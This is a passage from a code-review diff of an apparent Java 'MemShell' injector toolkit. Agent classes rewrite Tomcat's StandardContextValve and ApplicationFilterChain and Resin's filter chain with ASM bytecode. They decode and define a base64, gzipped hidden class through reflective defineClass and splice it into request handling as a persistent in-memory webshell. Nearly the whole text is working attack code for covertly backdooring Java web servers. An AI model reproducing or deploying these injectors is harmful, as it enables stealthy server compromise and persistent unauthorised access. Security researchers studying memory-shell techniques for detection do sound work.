e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
|
||||||
try {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new ResinFilterChainAgentWithAsmInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+199
-39
@@ -1,39 +1,28 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||||
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
import org.objectweb.asm.*;
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import net.bytebuddy.utility.JavaModule;
|
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/28
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer {
|
public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
||||||
|
private static final String TARGET_METHOD_NAME = "invoke";
|
||||||
|
|
||||||
static Class<?> interceptorClass = null;
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
static {
|
|
||||||
try {
|
|
||||||
interceptorClass = Class.forName(getClassName());
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
public static String getBase64String() {
|
||||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
return "{{base64String}}";
|
||||||
TypeDescription typeDescription,
|
|
||||||
ClassLoader classLoader, JavaModule module,
|
|
||||||
ProtectionDomain protectionDomain) {
|
|
||||||
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
@@ -44,21 +33,192 @@ public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer
|
|||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
System.out.println("MemShell Agent is starting");
|
System.out.println("MemShell Agent is starting");
|
||||||
new AgentBuilder.Default()
|
inst.addTransformer(new TomcatContextValveAgentInjector(), true);
|
||||||
.ignore(ElementMatchers.none())
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
.disableClassFormatChanges()
|
String name = allLoadedClass.getName();
|
||||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
inst.retransformClasses(allLoadedClass);
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||||
.type(named("org.apache.catalina.core.StandardContextValve"))
|
}
|
||||||
.transform(new TomcatContextValveAgentInjector())
|
}
|
||||||
.installOn(inst);
|
|
||||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
try {
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
-98
@@ -1,98 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
|
||||||
private static final String TARGET_METHOD_NAME = "invoke";
|
|
||||||
|
|
||||||
static Constructor<?> constructor = null;
|
|
||||||
|
|
||||||
static {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = Class.forName(getClassName());
|
|
||||||
constructor = clazz.getConstructors()[0];
|
|
||||||
constructor.setAccessible(true);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatContextValveAgentWithAsmInjector() {
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
|
||||||
try {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new TomcatContextValveAgentWithAsmInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+198
-39
@@ -1,39 +1,28 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||||
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
import org.objectweb.asm.*;
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import net.bytebuddy.utility.JavaModule;
|
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/28
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer {
|
public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||||
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
static Class<?> interceptorClass = null;
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
static {
|
|
||||||
try {
|
|
||||||
interceptorClass = Class.forName(getClassName());
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
public static String getBase64String() {
|
||||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
return "{{base64String}}";
|
||||||
TypeDescription typeDescription,
|
|
||||||
ClassLoader classLoader, JavaModule module,
|
|
||||||
ProtectionDomain protectionDomain) {
|
|
||||||
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
@@ -44,21 +33,191 @@ public class TomcatFilterChainAgentInjector implements AgentBuilder.Transformer
|
|||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
System.out.println("MemShell Agent is starting");
|
System.out.println("MemShell Agent is starting");
|
||||||
new AgentBuilder.Default()
|
inst.addTransformer(new TomcatFilterChainAgentInjector(), true);
|
||||||
.ignore(ElementMatchers.none())
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
.disableClassFormatChanges()
|
String name = allLoadedClass.getName();
|
||||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
inst.retransformClasses(allLoadedClass);
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||||
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
|
}
|
||||||
.transform(new TomcatFilterChainAgentInjector())
|
}
|
||||||
.installOn(inst);
|
|
||||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
try {
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user